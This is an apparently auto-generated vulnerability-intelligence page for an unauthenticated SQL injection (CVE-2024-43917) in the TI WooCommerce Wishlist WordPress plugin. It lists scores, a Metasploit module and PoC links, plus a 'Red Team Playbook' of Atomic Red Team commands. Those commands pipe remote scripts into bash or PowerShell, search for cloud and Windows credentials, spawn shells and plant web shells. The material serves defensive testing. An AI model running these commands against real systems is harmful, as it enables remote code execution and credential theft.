CVE-2024-43917
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements in SQL commands within the TemplateInvaders TI WooCommerce Wishlist plugin. The root cause lies in insufficient input validation and sanitization of user-supplied parameters processed by the plugin's wishlist-related endpoints. The affected component is the TI WooCommerce Wishlist plugin versions up to and including 2.8.2, specifically in the handling of HTTP GET and POST requests related to wishlist product queries.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TemplateInvaders TI WooCommerce Wishlist allows SQL Injection.This issue affects TI WooCommerce Wishlist: from n/a through 2.8.2.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries against the WordPress site's database. This enables extraction of sensitive information such as user data or configuration details. The attacker does not need any privileges or user interaction to perform the attack. The consequence includes potential data disclosure, database manipulation, and disruption of site functionality, which can lead to significant business impact including data breaches and loss of trust.
Solution
Users should upgrade the TemplateInvaders TI WooCommerce Wishlist plugin to a version later than 2.8.2 once available, as the vulnerability is unpatched in the current release. Detailed patching instructions and advisories are available at Patchstack's database and article pages (https://patchstack.com/database/vulnerability/ti-woocommerce-wishlist and https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin). No official workaround is documented; therefore, immediate plugin update upon vendor release is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the TI WooCommerce Wishlist plugin arises from improper neutralization of special elements used in SQL commands, commonly known as SQL injection. This flaw allows attackers to manipulate SQL queries by injecting malicious code through user input fields that are not properly sanitized. When the application processes these inputs, it can lead to unauthorized access to the database, allowing attackers to execute arbitrary SQL commands. This vulnerability affects versions of the plugin from its inception up to 2.8.2, making it critical for users to assess their current installations and take necessary actions.
Attack vectors for this vulnerability are primarily through web forms and API endpoints that accept user input without adequate validation. For instance, an attacker could craft a malicious URL or form submission that includes SQL commands, which the application would then execute against its database. Exploitation scenarios may include retrieving sensitive information, such as user credentials or payment details, modifying data, or even deleting records. The ease of executing such attacks, combined with the widespread use of the affected plugin in e-commerce environments, amplifies the risk significantly, as many businesses rely on WooCommerce for their online operations.
The real-world impact of this vulnerability can be severe, particularly for businesses that handle sensitive customer data. Successful exploitation could lead to data breaches, resulting in financial loss, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. The high CVSS score of 9.8 indicates that the vulnerability poses a critical risk, emphasizing the urgency for affected organizations to address it promptly. Businesses may face not only immediate financial repercussions but also long-term consequences, such as loss of customer trust and increased scrutiny from regulatory bodies.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in their systems. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious inputs before they reach the application. It is also crucial to ensure that all software components, including plugins and themes, are kept up to date with the latest security patches. Educating developers on secure coding practices and the importance of input validation can further reduce the likelihood of SQL injection vulnerabilities being introduced in the future.
In conclusion, the SQL injection vulnerability in the TI WooCommerce Wishlist plugin represents a significant threat to e-commerce platforms utilizing this software. The potential for data compromise and the associated business risks necessitate immediate attention from affected organizations. By adopting robust detection and mitigation strategies, businesses can protect themselves from exploitation and safeguard their customers' sensitive information. Continuous vigilance and proactive security measures are essential in the ever-evolving landscape of cybersecurity threats.
The CVSS score adjustment from 9.8 to 9.3 for CVE-2024-43917 reflects a refined understanding of the vulnerability’s impact, slightly moderating its criticality while maintaining a high severity classification. Concurrently, the EPSS score has inched upward, indicating a subtle increase in the likelihood of exploitation in the wild. CSURFACE threat intelligence notes that although there is no rapid escalation in exploit activity, the availability of multiple proof-of-concept exploits, including integration into widely used penetration testing frameworks, underscores sustained attacker interest and accessibility. This nuanced shift suggests defenders should remain vigilant, as the vulnerability continues to pose a significant risk of unauthorized data exposure through unauthenticated SQL injection. The updated metrics and exploit landscape reinforce that the threat level remains elevated, warranting ongoing monitoring and prioritization within vulnerability management programs.
Update 2 — June 09, 2026
The CVSS score for CVE-2024-43917 has been revised upward from 9.3 to 9.8, reflecting a reassessment of the vulnerability’s criticality in light of its unauthenticated SQL injection vector and potential impact. Although the EPSS score shows a slight decrease, this marginal change does not diminish the severity or urgency associated with the vulnerability. Our telemetry indicates that while exploit activity has not surged dramatically, the availability of multiple proof-of-concept exploits, including integration into a prominent penetration testing framework, continues to facilitate attacker accessibility and exploitation attempts. This refinement in scoring underscores the persistent high risk posed by this vulnerability, reinforcing its prioritization within defensive strategies. Defenders should interpret this update as confirmation that the threat remains acute, with the potential for significant unauthorized data exposure if exploited.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Templateinvaders | Ti Woocommerce Wishlist | All |
cpe:2.3:a:templateinvaders:ti_woocommerce_wishlist:*:*:*:*:free:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)
auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli
|
Rafie Muhammad, Valentin Lobstein | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
p33d/CVE-2024-43917
|
p33d | 8 | 1 | 2024-09-29 | View |
|
sug4r-wr41th/CVE-2024-43917
TI WooCommerce Wishlist (WordPress plugin) <= 2.8.2 CVE-2024-43917 PoC
|
sug4r-wr41th | 0 | 0 | 2025-06-25 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-43917 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/ti-woocommerce-wishlist/wordpress-ti-woocommerce-wishlist-plugin-2-8-2-sql-injection-vulnerability?_s_id=cve |